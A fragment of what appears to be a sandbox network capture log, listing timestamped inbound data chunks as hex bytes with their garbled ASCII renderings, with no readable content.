2022-09-20 10:10:08 UTC 3473 IN Data Raw: 14 ef 77 98 16 b1 a7 68 bb 7a 03 4d 1c 9e a2 75 9c 53 46 0c c9 b2 30 79 84 ff 15 1f 8f 71 5e 5d 3b ef 0e 4a 25 
95 02 16 72 14 72 52 48 ef 4a 56 42 14 cc db 58 49 18 64 1c da 1f 99 92 56 91 69 a4 2a d3 8d 8e 3b 65 ea de 42 92 89 
9e 87 03 7a f8 11 5d 9e 4d da 27 d5 b0 88 8b 49 4b 9b 98 38 08 13 96 47 7a cd 88 c6 54 a4 7a eb 48 11 93 71 c7 49 44 
2d 87 fe 38 0f fd 47 09 86 fe ed df d3 81 82 00 f5 d9 74 c8 7f e3 c6 fc 37 6e ce 7f 03 a0 c9 cd 0f 5c 63 1f 91 c6 f3 12 1e 8b 
32 da 70 dd e8 a2 e7 c6 bc 52 86 18 53 e2 05 d6 eb e5 97 ff 11 01 40 cd 91 b1 67 3c 35 2d df c4 ac 42 56 2f 5e d3 a3 b0 
d3 56 73 a0 86 66 0e cb 69 51 96 54 c6 46 b9 a4 5a 8c 25 b5 60 9d 7d 49 15 59 96 d4 57 09 86 f0 91 df 49 3f 72 20 cc c5 
32 ff af 5b 3a 20 ba f1 10 c9 4d 4d f0 40 d4 f3 f4 6b 
Data Ascii: whzMuSF0yq^];J%rrRHJVBXIdVi*;eBz]M'IK8GzTzHqID-8Gt7n\c2pRS@g<5-BV/^VsfiQTFZ%`}IYWI?r 2[: 
MM@k

2022-09-20 10:10:08 UTC 3481 IN Data Raw: 46 6e e7 61 6e e7 9a 1c ed 1c 73 98 b0 fa 9d 1a 07 d7 0e 53 1c 9c 02 95 c7 05 0f 5a 42 05 af cd 51 70 27 dd 
71 07 67 47 c8 c2 80 e0 49 5c 4c dc ce ec 41 0c 4f ec 01 48 cf 20 04 11 12 82 0c 77 94 e3 21 db 6c c2 4b ab 2e cf e6 29 
6b 37 3c 65 b1 a0 34 37 d9 9f 0f 4f 50 d0 7d ca 91 dc 9f d3 95 24 79 cd 5e ea a0 00 62 39 0c 0a 5e 8e 27 1e fb 1c 94 2d 
29 83 f2 7a 0e da ad fd 28 61 d8 f3 a8 66 fd 2b a1 5f 8e 49 5c 1c 9e 8c ce d2 36 74 a6 b6 13 62 7b 11 1d 6f 3a f1 14 b9 
d2 8e e7 fa d2 d9 59 9e 41 46 0d 19 78 c7 a4 76 32 83 3e 55 63 b5 d4 b5 9e cc 01 46 b0 ab 55 6c cc 68 63 49 d3 c4 50 
4e df 52 8e 9b 5a 82 4d 47 de 01 6c 07 f8 36 80 77 ad 2e 5b 02 21 d5 48 75 4f 8d 55 8a d8 45 f0 28 0c 89 bd 03 34 e5 15 
f1 7f 31 4d 14 f1 8b 15 ee af 06 5d 06 f2 24 f2 5f 97 64 e7 
Data Ascii: FnansSZBQp'qgGI\LAOH w!lK.)k7<e47OP}$y^b9^'-)z(af+_I\6tb{o:YAFxv2>UcFUlhcIPNRZMGl6w.[!Hu
OUE(41M]$_d

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3489 IN Data Raw: a6 60 43 16 cb 35 2e ab 47 32 05 cc 1b 29 03 27 28 83 b5 5f d1 68 e4 44 e2 b2 44 c1 fb b4 fb 5e ee fc 47 9c 
e0 f6 7e 9c d4 9c e0 5e a1 1a 14 9f fb 38 99 ce 09 ce 18 7a 58 97 05 bc 53 8e 50 f4 98 26 4e 61 d5 0c 8f 92 3b fe 91 19 
67 9b 66 7c fa 0f 6a c6 ed 7f 48 a6 ac 10 82 49 fe d4 62 75 36 ee 4a bb cd 8e 0a 15 3a ab fa 73 a9 b7 cc 1f 3c cc f2 42 ff 
2b 95 57 47 e0 4d dd 85 22 f7 ff 69 bb 1a f0 a8 aa 33 3d 13 a3 0c 38 32 03 04 08 8a 12 20 ba 09 04 04 36 d4 20 01 a3 32 
25 20 48 f8 5d b4 b0 4a 8b 94 2a 08 c2 04 82 12 45 93 48 c2 90 36 28 a2 d4 15 14 2d 62 45 1f 56 29 a1 2e d8 80 11 02 
22 44 98 2a 58 56 51 a2 4e 9c 6c 8d 10 0b e2 4c a6 e7 fb 39 3f f7 ce 04 7d 76 9f 7d 1e 0d 77 ce bd e7 dc 73 cf ef 77 be ef 
fd de 4f 0e f9 3e e4 1b e3 26 63 18 0e 89 6c 9a 00 db 
Data Ascii: `C5.G2)'(_hDD^G~^8zXSP&Na;gf|jHIbu6J:s<B+WGM"i3=82 6 2% H]J*EH6(-bEV)."D*XVQNlL9?}v}wswO>&cl

2022-09-20 10:10:08 UTC 3497 IN Data Raw: 4e b9 4e 26 72 4a 77 53 34 dd 65 44 65 f1 e5 89 ca 2b fd 7b 27 2a 8f f7 d7 10 95 6b 94 6e 45 d2 30 b0 52 d9 
50 ca 3d 14 5d d3 98 15 2d 9b 85 9b 14 da cb 91 97 49 69 93 6c 40 14 34 09 2d 5a 8f b3 1a 87 d1 a1 ae cc 16 29 36 8c 
ad 41 ea 8a af 35 5a 8b e0 8b 1c 65 5e 52 96 1b 86 3e ac 9a 79 92 ba b5 6d 95 aa 6e 5d 78 67 77 c0 77 35 69 36 da 15 
ae aa 9d 1d a2 e3 1e 4c 1e 0e b1 62 6c d3 60 8d 68 cc be 9f 9f e1 4d 6f 95 5b 07 a9 26 0a 8a 1d 64 dd 37 aa 65 ce 7d 8a 
1d 20 7d 9a dd 41 36 4e a9 cc f7 29 8f 1c f6 f0 25 e6 08 5d cf 76 2f 65 35 b1 b6 e2 17 ee 80 8a 97 52 c5 5e 72 bd df ca 4c 
31 61 b8 b3 d0 81 2b 23 97 e3 ed d3 1d e9 ad 61 58 2e b2 9a 54 fa 76 92 53 8f 29 66 89 5a 57 db 5e ba d3 57 dc 70 91 
b9 b2 a2 1e 71 37 56 ad 94 47 39 a1 c4 26 8b 14 6e ff a6 02 e5 
Data Ascii: NN&rJwS4eDe+{'*knE0RP=]-Iil@4-Z)6A5Ze^R>ymn]xgww5i6Lbl`hMo[&d7e} }A6N)%]v/e5R^rL1a+#aX.T
vS)fZW^Wpq7VG9&n

2022-09-20 10:10:08 UTC 3505 IN Data Raw: 5d db 1f f7 6e 20 68 8b 82 75 ee f5 8e fa 5e 5e b9 ae 5b db 69 6c a2 01 f0 5d a9 17 89 23 4b f6 94 87 15 22 67 
8d 65 4a a7 a5 3a 1d 89 24 de 91 df c2 2c 22 8a 81 f9 4f 96 f7 1b 7c 2f 78 19 1f aa b6 f3 77 43 89 ee cd d4 91 82 15 1b 
0b 2d 88 92 76 40 c5 7f fe 4e a9 78 0a 10 2e 40 65 d1 80 ca 3e be 40 f5 62 fb 93 95 da fe 76 84 d7 a6 d4 74 bb 97 0d a9 
66 ab 83 b6 40 90 95 f3 c0 37 9f 0f c0 cc fb f0 2b ec 0b ed b4 0b 57 61 c6 b6 1f 90 90 87 ad ff 54 cf b9 04 dc 9d 26 5a 7e 
c2 47 5f 1c 9f ea 82 a2 bf 92 a3 23 83 a2 6b 11 e1 ad 36 65 c8 cc e5 2b 3f 50 bb 33 f0 88 31 10 6b 4f b9 ce 15 b0 dd e0 
ee 07 f3 11 23 9d 8e ab 37 83 8c ac ee 81 de f2 32 df 03 ed 27 77 8b e1 56 9b 29 43 e9 e2 3c 28 11 e0 1a 57 c5 22 ae 93 
76 0e fa 11 99 86 14 f8 6c 1b 88 03 16 26 3a bb ce 
Data Ascii: ]n hu^^[il]#K"geJ:$,"O|/xwC-v@Nx.@e>@bvtf@7+WaT&Z~G_#k6e+?P31kO#72'wV)C<(W"vl&:

2022-09-20 10:10:08 UTC 3512 IN Data Raw: 2f 03 28 e2 72 fa 75 93 7f 73 8d ff f7 22 d5 ff 7b b2 d4 9b ff f7 6f e9 30 17 fa 7f ef 53 f5 40 c0 f4 4c 4a 35 f3 ff 
ee 79 f2 59 81 89 f7 75 87 47 a0 9f f6 75 42 ff 1d d2 2e d4 b3 0a d5 af 45 88 e9 88 af e2 f7 a2 4e 4b f1 03 ff 9e 20 d4 ae 
f3 ef ab 79 0f 5d 2f fa 77 ab fb 6b c0 30 fa 1b 12 77 fb 3f 52 fc d3 ef 3d e1 61 ba e2 88 6a b5 85 b1 72 0b f7 af a6 0e 29 ad 
5c 7c 44 d3 ca 44 68 e5 22 68 a5 ba 3f 21 be 83 7e a4 9e 9c 92 02 95 a1 b9 03 ee 77 a3 cd 1d 84 93 d0 ae ed b5 08 5b 
bf c2 f5 d0 29 a1 7a 7f 89 29 89 1a cc f7 23 27 0a d5 81 75 f0 fd 07 ff c1 20 ff f2 13 85 5a 8a df e9 6f 54 fd 89 db c8 65 74 
a6 7b ba c1 9c 6a 58 d3 97 0e 00 34 ba 53 f5 9e e5 74 c5 5c fa 42 18 b0 87 0d 68 e1 e9 99 89 e2 62 8c b4 d2 00 89 d1 26 
82 84 57 fd 7a 34 94 92 f0 f8 ee da 
Data Ascii: /(rus"{o0S@LJ5yYuGuB.ENK y]/wk0w?R=ajr)\|DDh"h?!~w[)z)#'u ZoTet{jX4St\Bhb&Wz4

2022-09-20 10:10:08 UTC 3520 IN Data Raw: 0d a5 04 cc 1b f7 8d 67 ae 0e 18 d6 b8 2e ee 6f cd 5c 2f 7a be e9 2b b0 3b a7 17 5c 72 1c be 24 3a 77 b2 fb 
3b 96 e0 76 4d 5c 1d d2 80 6e 9d f8 42 bd 2b c0 f3 88 2f d4 3a 81 18 9b cf 8b 4f bc c9 3c da 14 e8 32 08 cb 95 4b 8d e4 
a7 bf 40 76 65 0e 74 da bb e4 46 b6 dc f8 fa 9f 20 35 b9 3a d6 de 00 15 2c 72 6d 5f 7b b5 f9 33 a9 59 9c d3 88 8b 3e 4e 
5e 7f 71 8d 52 06 79 e8 00 c9 c8 36 c7 cd 8f c2 a2 47 11 c0 d5 b7 92 ae 2c 19 bd c1 2e f1 16 8c 26 5e 9c ac 76 9b bc 7f 
be 51 a6 20 13 bc bf bf 9e 44 21 a4 1e 4b b0 a4 b8 16 d1 55 d7 8f 1c da d3 11 de 1d 37 c0 7c 5f c0 83 4f 19 e2 d3 0d 78 
f3 23 b9 a4 81 b5 fa c7 da eb 1b 60 8e 9f 48 08 a7 76 2f c1 01 75 ee 17 5d c6 48 86 9f de 1f 25 b0 d3 4f e3 21 c1 98 1c ea 
78 81 c3 af 77 1c 19 a5 db 27 31 ec 27 b5 42 4b 87 63 
Data Ascii: g.o\/z+;\r$:w;vM\nB+/:O<2K@vetF 5:,rm_{3Y>N^qRy6G,.&^vQ D!KU7|_Ox#`Hv/u]H%O!xw'1'BKc

2022-09-20 10:10:08 UTC 3528 IN Data Raw: 6c 37 96 7d 6e b1 d4 a9 f1 0f b4 35 23 31 20 c7 40 81 0b 12 6b f9 0a 9a 49 53 e3 7d b8 2f 8e 8d 37 9b 86 ea 
3d 01 67 c4 a6 cc 48 9a 98 b6 8f 4f 47 0a d4 4d d3 81 93 89 02 46 05 da 73 11 a8 6a f1 21 f2 22 00 4f 23 9a 52 98 f1 5b 
0a 49 83 4c 32 4d ac 6d 20 08 d2 12 04 ee 7f 80 34 84 a2 13 ef 65 03 36 0e b3 7a 0f a3 1d 0e 4c 99 2d c7 9d aa 77 67 45 
00 1a be c1 03 c2 6a 96 1e 2d a2 24 83 9c ee 5f 64 ce 23 df 67 e2 1e 08 12 65 a4 09 10 75 53 5d 57 98 27 e9 0b 42 04 
20 c4 7b 4f 77 71 96 70 92 ee b4 14 ae eb 94 b2 22 fc 6f d2 7d bc 7a 56 2b f2 7c 5e dc 67 95 b0 d6 e1 9e 9a 6a cc 9a aa 
c7 84 8f 50 c3 fd bf 93 2b 9d 8c 5e 91 9a 03 fe 0d ac fd 3c 1a e5 4a ef 2d d8 ee 3b dd b9 fa a6 19 6c 08 66 b0 21 e8 27 68 
3a 77 a9 0f 19 a6 5c e7 f0 eb cd 07 ab 44 ea e7 99 40 0b 
Data Ascii: l7}n5#1 @kIS}/7=gHOGMFsj!"O#R[IL2Mm 4e6zL-wgEj-$_d#geuS]W'B {Owqp"o}zV+|^gjP+^<J-;lf!'h:w\D@

2022-09-20 10:10:08 UTC 3536 IN Data Raw: eb 72 4b 95 9a ba f7 ef 3c 33 30 d9 63 e5 43 1d 13 05 25 0f 44 17 af b0 af 60 14 05 99 5b f9 dc 07 6b 11 e6 92 
19 85 89 08 fb a1 f9 14 2e 42 e6 2b 78 c6 3c 1b ee ea 68 3b 5a 01 98 01 50 0e ff ce 4e 4b 02 78 8c 05 59 c5 32 51 c0 a5 
34 d6 56 36 51 e0 fb bf 63 69 4d 8e ed 31 22 fc b3 bc 64 83 c6 c7 5a 36 b6 22 1f 65 61 35 79 f0 da a3 24 d6 d2 82 d0 24 
9a 15 08 12 bb b2 5a 04 68 21 6a 28 18 5c 09 65 e5 b4 19 8e 34 1f 92 65 c2 d2 e2 84 05 16 09 8a 91 85 46 54 4c d2 e2 
d1 6e dd a5 2a a7 75 ca ca 71 7f 3b 64 5b 6f 8e c5 86 1b e6 50 5c de 0a ab a0 49 8d 87 bd e5 e5 5a 56 a8 6c c6 8f 13 0a 
4b 81 cb 67 bc 15 fc 28 5e 49 7b 68 6a be 1e b8 01 fb 85 2a af 78 42 11 13 19 8e c8 d2 9c db e0 42 06 c3 34 9a ee cf 29 
0b e2 e9 28 15 22 c0 2c da 7a ca 49 65 80 0f 52 af ad a2 
Data Ascii: rK<30cC%D`[k.B+x<h;ZPNKxY2Q4V6QciM1"dZ6"ea5y$$Zh!j(\e4eFTLn*uq;d[oP\IZVlKg(^I{hj*xBB4)(",zIeR

2022-09-20 10:10:08 UTC 3544 IN Data Raw: 25 e3 a3 4d 2c 81 f6 b5 b9 e0 63 82 ed d6 84 22 bb 95 ca 50 7c 2d eb 2f ac dd 60 3b f1 71 6b 27 ae 47 99 ea 
3e a5 67 b2 7e a6 59 ff a2 14 c5 29 95 ee c6 e4 ec 6c e4 cc c5 df b7 96 52 a2 4f 19 8e be 67 87 a9 a2 ff 70 d6 f0 29 d6 bf 
00 cf 05 97 c6 b1 3d f8 17 7e a5 7f 64 f5 cf 59 ff 02 7c 45 b8 d2 e5 58 fd d2 a6 7e 2a 78 6a 69 15 d2 67 2e 69 7d 16 a0 9e 
d7 fa 7c ba 8c f2 5c 9f 99 e0 ad dd dc b5 6f d2 fa cc f5 e0 b4 3e c3 cb 2a fd 06 6b ff 75 66 77 bd 00 de 98 c9 dd 90 ad cf 
65 11 4a 57 61 7a 3f 2a cc bd 3e 5f 2e af 74 1c 6b 3f 96 ad cf a3 e0 93 19 9f c0 d6 67 9d 0a 4a 0f 62 fd f7 b7 7a 07 7f 7f 
34 52 e9 8e ac 7e 5b 66 77 cd 06 97 fc 5a b2 bb 3e 88 94 c7 97 ec ae 72 15 95 0e 30 5e c0 ec ae 73 15 43 cb 57 62 dc ff 
06 a5 9b bb eb 15 a9 5b 13 f7 af 09 3e cb cd 
Data Ascii: %M,c"P|-/`;qk'G>g~Y)lROgp)=~dY|EX~*xjig.i}|\o>*kufweJWaz?*>_.tk?gJbz4R~[fwZ>r0^sCWb[>

2022-09-20 10:10:08 UTC 3551 IN Data Raw: 08 1a 07 5e fc b0 60 ef a3 cf 27 5f aa a5 fc 5c b7 06 fc 31 0f 7e 08 7c 21 78 5b 3b 1f 2d f9 79 f0 57 4a 1d eb 
9a c0 15 d6 fb 93 b0 59 5f f4 88 bb cc 34 85 f2 0f 9e 56 86 f2 75 ae 8b 8e f8 ad 33 be fe 08 f3 f5 a3 42 df 13 2d c3 7d db 
29 c3 a5 fb e3 65 33 04 7f 7f 1e 7c d2 0c 5e c6 bb 9d fc 21 3c 26 58 db 36 35 e0 a1 99 18 0b e3 ec bc 47 5c 3d f7 5d 86 
7d c2 1c 7e 3f 9e 02 7e f7 1c 7e bf 9d 01 be 6d 8e 60 6d 62 15 d1 19 e2 5c e1 aa 93 6d e4 1f 7c 16 f8 61 85 1f 90 fb 37 f0 
4e f3 84 1e 63 cf 9f 5f c8 fc 83 5f fd a4 43 3e 12 b8 51 e6 1f bc dd 53 42 af 56 9e 7f c8 aa 4f 5f bc cf 77 9a b8 73 fd b7 5f 
ae ff 52 11 e6 99 05 d8 0b 29 ef 98 67 bd 23 1b 3c f6 19 e1 6a 57 93 de 51 4c 3e 07 c0 ff ed 7c c7 69 f9 8e d9 e4 77 61 a1 
60 75 8c 56 80 2f 01 6f ae b4 db 66 56 
Data Ascii: ^`'_\1~|!x[;-yWJY_4Vu3B-})e3|^!<&X65G\=]}~?~~m`mb\m|a7Nc__C>QSBVO_ws_R)g#<jWQL>|iwa`uV/ofV

2022-09-20 10:10:08 UTC 3559 IN Data Raw: 6c 01 5b c8 16 b1 c5 6c 09 7b 92 3d c5 9e 66 cf b0 67 d9 73 ec 79 b6 94 bd c0 96 b1 17 d9 4b ec 65 b6 9c bd 
c2 56 b0 95 6c 15 5b cd 5e 65 af b1 35 ec 75 f6 06 7b 93 bd c5 de 66 ef b0 77 d9 5a b6 8e bd c7 d6 b3 0d ec 7d b6 91 6d 
62 9b d9 16 f6 01 db ca 3e 64 1f b1 8f d9 27 ec 53 f6 19 db c6 fe c7 3e 67 5f 60 29 bc 9d ed 60 3b d9 57 ec 6b b6 8b 7d 
c3 be 65 bb d9 1e b6 97 ed 63 fb d9 77 ec 00 3b c8 be 67 3f b0 1f d9 21 76 98 1d 61 3f b1 9f d9 51 76 8c fd c2 7e 65 bf b1 
e3 ec 77 76 82 fd c1 4e b2 3f d9 5f ec 6f f6 0f fb 97 95 33 2c bc 39 e3 9c 4b 3c 87 57 e2 3e 7e 06 3f 93 57 e6 55 78 2e af 
ca ab f1 ea bc 06 af c9 6b f1 b3 f8 d9 fc 1c 7e 2e 3f 8f 9f cf 2f e0 17 f2 da bc 0e bf 88 5f cc 2f e1 97 f2 ba fc 32 7e 39 bf 82 
5f c9 af e2 57 f3 6b 78 3d 7e 2d af cf af 
Data Ascii: l[l{=fgsyKeVl[^e5u{fwZ}mb>d'S>g_`)`;Wk}ecw;g?!va?Qv~ewvN?_o3,9K<W>~?WUx.k~.?/_/2~9_Wkx=~-

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3567 IN Data Raw: 4e df 6f be 7c 7f 91 7f 8a 7f ba ff 70 7f 93 ff 78 ff 36 ff d3 fe b4 c0 e4 80 3d 50 11 98 19 38 39 70 66 e0 d2 c0 
35 81 77 02 1f 07 7e 0c fc 19 78 25 f8 76 f0 2b 6a e9 14 d1 4e a7 29 68 aa 36 cd 43 8f 32 b3 d1 9c 69 6e 35 1f 65 3e ce 
7c aa f9 5e cb 2b 96 1a db 55 b6 9b 6c 0f d8 76 da a2 ec d9 f6 2a 7b af fd 5e e7 1b ce 22 97 d9 75 b4 fb 14 f7 99 ee bd 
ee 0f dc 9f bb 57 7b 4e f2 6c f4 bc ed 79 d2 7b a6 ef 57 5f 20 30 23 f0 61 e0 8b c0 1e 2e 03 25 fe ce 76 9a 69 84 69 b2 c9 
6e aa 32 2d b2 34 5a aa 6c 6b d0 e3 e7 da de c6 78 8d 75 1c e9 7c cc f5 ac ab d1 7d be fb 7a f7 bd ee 57 dd a3 3d 13 3c 
6e 4f a9 e7 1d cf c7 9e 1f 3d 7f 7a 72 bc 93 31 e6 2e f0 16 fa d6 f9 4e f1 5d e0 bb 0c 3c f9 8a ef 1d df 0f 68 b7 11 33 c5 44 
bf c5 bf 14 33 c5 66 cc 14 d7 fb 51 d8 62 
Data Ascii: No|px6=P89pf5w~x%v+jN)h6C2in5e>|^+Ulv*{^"uW{Nly{W_ 0#a.%viin2-4Zlkxu|}zW=<nO=zr1.N]<h3D3fQb

2022-09-20 10:10:08 UTC 3575 IN Data Raw: 04 0c 51 ca d5 11 4a 3d ab a3 95 06 94 77 9b 98 b6 26 5a a9 75 79 b7 99 69 67 8b 90 01 21 0b d3 d6 8a 50 
1c 42 56 a6 ad 8b 56 ea 53 de ed 60 da 7a 11 4a 45 c8 c9 b4 73 44 28 33 6a 5a 5b 67 43 6f 5d c3 0a 10 6a 6e 74 f6 67 
50 03 72 a3 ea 9a 97 4d 47 b9 f3 44 9a 8d 14 9e 86 f0 7c 11 de 44 e1 0a 84 17 88 f0 b9 14 2e 47 78 a1 08 6f 89 aa 68 6a 
65 da 45 22 b4 35 aa a2 07 a1 c3 45 68 5b 54 c5 92 55 4c 7b 84 08 5d 85 94 08 85 44 e8 ba a8 8a 46 84 16 8b d0 4d 51 
15 0d 08 35 88 d0 76 e4 eb 62 da 25 22 74 47 54 45 2b 42 8d 22 74 0f 95 5f 86 f2 9b 44 f8 81 a8 0a 85 70 cd 02 b0 03 55 
40 f2 a5 22 b4 93 92 d7 21 76 99 08 3f 89 ee ea 6d ee 68 a2 8f 9a c5 a5 b0 88 6b 89 8e d3 a3 af 9e 05 11 2a 67 4d ad ae 
ae 62 ba 75 f1 7f a2 0f b4 53 17 d4 57 30 dd e9 59 75 e0 0f 6d f9 
Data Ascii: QJ=w&Zuyig!PBVVS`zJEsD(3jZ[gCo]jntgPrMGD|D.GxohjeE"5Eh[TUL{]DFMQ5vb%"tGTE+B"t_DpU@"!v?mh
k*gMbuSW0Yum

2022-09-20 10:10:08 UTC 3583 IN Data Raw: 16 39 23 42 cc b0 2b 37 ff af 34 ca 68 53 0e fb 88 ef 2d 1a 8c 7f 13 9d ae bd f1 20 8f a2 66 a7 d2 ae 9a 7a 40 
23 4e f7 1e 9f 03 aa b4 49 e1 cd 44 27 5f ea 73 fc 2d 5a 1a b9 99 38 99 e6 88 83 6a f3 5a de e6 7f bf 48 1a a5 d7 f3 85 b1 
c9 18 2a 5a 55 df fd 37 4b b0 06 25 cf 24 1a 5e 1f f2 0b 12 9b fe 1e a4 6b 26 33 fa a0 e8 a5 de 33 fc 49 6a c4 05 89 74 b2 
4d 56 b6 50 35 45 e9 5f b3 a1 b7 24 fe 4f 9f 2c d0 c9 b2 6a 06 68 c5 75 75 32 df eb d4 9e 9e 45 d7 cb ca ea 57 53 d4 23 
72 f8 04 9d 3b d2 26 90 c5 ee a8 76 53 d2 76 d2 b7 e5 a3 24 fe f9 93 7a aa 2e 74 d0 76 82 3c e0 54 9d 3b 5c 03 01 79 68 
fc af a4 ca 73 cb 41 a7 dc 60 67 a0 b2 fd b4 6d fa 35 5f cc 54 77 03 cb ab eb d4 ad ae 29 ba 3f 32 52 af a1 6d d2 e6 10 5f 
e1 66 ba 3f 33 e2 8e a5 79 1b 90 c6 25 6d 5d 
Data Ascii: 9#B+74hS- fz@#NID'_s-Z8jZH*ZU7K%$^k&33IjtMVP5E_$O,jhuu2EWS#r;&vSv$z.tv<T;\yhsA`gm5_Tw)?2
Rm_f?3y%m]

2022-09-20 10:10:08 UTC 3591 IN Data Raw: 7f 85 84 5f a8 38 e5 25 a0 e3 12 05 4d 2e 3c d9 4b 94 ce 56 11 f0 ce b6 02 5a 02 57 fc 5d 85 e8 6c fc 2b 99 5c 
21 68 b4 3b 96 d3 09 f4 01 95 e4 cd 7b 8f d5 b3 dc ad 88 a3 ca 70 08 a7 df 6c 79 f3 27 f8 4b 97 ff 61 d8 8e 9b 01 7e fe 22 
8e 31 d3 83 34 37 1c 2b a7 12 a9 8e 40 11 b5 70 66 e2 9f 8d 75 c4 ff f4 4b 9f 8c 49 a7 c8 09 1b e2 14 1e da 83 34 2f 2e 
89 e4 a1 cf 11 fa 74 89 c2 43 da 46 1a 33 68 c7 d5 0a 1a 42 c0 f9 27 1b d0 cc 46 85 7f cc f0 4c 86 2b be ba 4e e1 1f 56 
92 00 ef 34 d4 ef 8a 38 de 26 c9 c4 e7 db 07 d6 b1 12 73 9d 68 ed 8e b8 01 5c c1 5b c5 4a a6 20 f6 6a 87 f8 3a 5e 1d 08 
b9 4b 15 64 61 e2 d0 17 9b 18 fa e8 e5 eb 13 d4 a6 9f 2b 9a 1e 42 45 aa 1b 95 a6 4f aa a6 a6 d3 2f ff f4 fb 12 39 81 5e 
10 e0 4d ff 19 69 7e 6c 8c 6c ba b1 09 6a 5f 93 d2 
Data Ascii: _8%M.<KVZW]l+\!h;{ply'Ka~"147+@pfuKI4/.tCF3hB'FL+NV48&sh\[J j:^Kda+BEO/9^Mi~llj_

2022-09-20 10:10:08 UTC 3598 IN Data Raw: 82 a0 fe eb b8 fa 5d 8f 60 39 5c 41 ee 62 31 15 3e 94 aa 8e 8f d4 88 99 90 8b 97 36 25 89 31 6d c0 68 51 92 
98 36 cb 7a fb 38 4b 41 0f cb 5d c9 c6 54 e4 8a 49 d3 a6 40 01 9a 72 68 c1 98 9e 34 fa 2d 2a 94 58 7a 0a 2b d8 b0 58 0c 
e3 b1 69 fd 63 d2 b4 69 b1 98 a7 54 c1 c8 26 34 b4 b5 85 e8 9a e9 0e c1 18 c4 80 45 a0 44 47 2e 51 a2 88 22 f2 39 81 
d1 ce 2e de ce 89 d4 be 2e de 3e 66 0e d1 f5 26 dd cd ed cd 1d bd 82 b2 f5 fa ae 90 ba 4b 42 3c 6c 01 ae fa 2c a1 bf 73 
62 cd e5 48 fe 00 55 7e 53 89 35 97 23 4b d9 c5 58 12 1c f5 16 74 dd 48 a4 93 78 77 d1 ba e8 65 1c 31 e9 56 d4 5d 93 
78 25 4d c8 34 6e 97 e8 8a 62 8e 7d 25 42 47 ed 52 b0 17 73 ec d7 21 b8 8d 40 64 ba 94 70 06 fd 0e c1 af e1 f2 8f 38 4c 
99 bc d7 1f 26 26 ef 50 7a 78 f2 16 52 24 8e 99 4e 3b 4c 21 a7 
Data Ascii: ]`9\Ab1>6%1mhQ6z8KA]TI@rh4-*Xz+XiciT&4EDG.Q"9..>f&KB<l,sbHU~S5#KXtHxwe1V]x%M4n
b}%BGRs!@dp8L&&PzxR$N;L!

2022-09-20 10:10:08 UTC 3606 IN Data Raw: 60 29 aa 86 26 1d 19 45 74 52 47 9a b4 f5 37 c8 ce 54 be 66 77 64 1a f9 4b 21 89 bc 70 a9 74 df e8 91 23 a9 
a2 17 20 d8 ce 41 fc 70 e6 91 13 e8 7a ba ed 29 12 bb 01 2e 6d 79 6b 07 ad 20 1e 69 73 70 81 1e 97 2a 96 20 8f 0c 52 
d6 7f 21 c5 9b 70 a9 1d ea f9 f4 23 2b 09 be 3d 55 62 5b e0 d2 94 1b 7a 97 27 8a dc 99 69 7c aa 58 3e 42 e6 f3 73 6e ba 
72 01 f0 26 4e df 8e 34 89 cd 80 4b a7 fb 87 37 c5 13 e8 d8 74 80 d2 09 64 07 88 53 39 21 13 a8 32 09 d4 6c 02 2c 8d 60 
a7 21 dc 46 30 7e d7 e7 a6 6c 82 9d 9a 25 b1 39 70 19 68 fb a6 51 5c 16 6c 5e 94 de da 4c 2f 62 6c 1a 43 e1 77 b2 25 f6 
32 5c 7a 6b 5b 6b 3b 80 85 04 5c 9d 23 b1 fc 1c 05 48 05 14 13 f4 da 11 12 bb 60 84 02 35 03 6a 27 68 c9 ff 8f bc 2f 01 
af b2 38 f7 9f ef 3b 6b 4e 4e 72 4e 92 93 7d 5f d8 12 84 10 
Data Ascii: `)&EtRG7TfwdK!pt# Apz).myk isp* R!p#+=Ub[z'i|X>Bsnr&N4K7tdS9!2l,`!F0~l%9phQ\l^L/blCw%2\zk[k;\#H`5j
'h/8;kNNrN}_

2022-09-20 10:10:08 UTC 3614 IN Data Raw: ba 4a 19 ae 0c ba 9c bc d0 18 e4 ee e0 4d a7 86 ab 88 81 cb 01 94 82 3c a8 62 8f 8f 48 18 dc c9 72 f7 b1 93 
26 2b d4 c3 a2 cc 5d f9 cd a8 4f cb b0 e0 61 d5 67 d7 5b c1 e8 26 6e fa 7c f1 1f 7b 25 1d 1a 94 9a 75 c6 d4 6c ee e1 55 
aa 4b eb 5e 0b 0e 59 b9 1b b0 0d c6 d3 7f c9 aa e3 3a 57 c0 7d 68 bb f9 07 ed ab 39 a8 2a eb 85 7c a5 25 fd c2 25 bd c3 
ad 7f 09 46 1b a4 29 5d 4d 05 8c 76 41 8a af d5 db d3 79 e3 f5 15 47 bc a1 87 ab 38 da fb d8 9c fd 4b f1 f2 fa 7a c2 56 2e 
95 f1 c3 d0 f7 65 d3 82 5a 97 1c 8d bf 9b ab 1d 3f 8a 4f 90 71 ac c3 ff 30 52 9f c9 af da 3b e0 e0 35 71 09 5f c2 a1 38 3e 
8a 75 d5 8e 44 39 05 a3 dc 89 62 be d8 c9 ff 7e 0c b3 89 bc 3d 83 e6 e1 5d d2 e3 b8 99 37 97 93 cf 71 5f cf 6d 1b 78 b8 
b4 92 1e e5 f8 a5 2e 47 d7 de 60 f4 18 59 3f 1e c9 
Data Ascii: JM<bHr&+]Oag[&n|{%ulUK^Y:W}h9*|%%F)]MvAyG8KzV.eZ?Oq0R;5q_8>uD9b~=]7q_mx.G`Y?

2022-09-20 10:10:08 UTC 3622 IN Data Raw: d8 13 97 73 5e 97 41 a1 8d 2e e8 29 25 83 6a 96 45 b5 90 1e 7e 8a 54 50 33 60 d6 8c 66 c4 3c ba 30 b0 3d 
29 a9 c4 62 80 95 1e 4d c1 ea 0d b9 25 df 94 5b 0a a6 ad 4f a6 3e fd c3 96 7c 0b e6 95 42 94 a1 a9 4f dd 0e 36 fc 38 ed 
60 bd 71 a9 49 03 d3 5c 03 33 26 0d cc 72 0d cc c9 8f a4 9a 75 4a 04 41 26 e9 a2 2c e9 92 86 d6 65 ce df 2b cb 04 8a 55 
41 05 6a a2 d6 d5 05 ad 6b 44 5a d7 11 cd 7d d3 18 4b 76 4a 81 42 97 3e 95 dd 6b 9f 4a 1d 8a 96 8d 07 42 47 af 4b d0 
93 1f 3a 92 90 69 0d 51 48 1b 3f b5 72 36 49 ee 6d ca a4 31 3e d7 98 b4 49 63 32 5c 63 f4 5d 45 7c e8 ab 05 24 aa 40 a6 
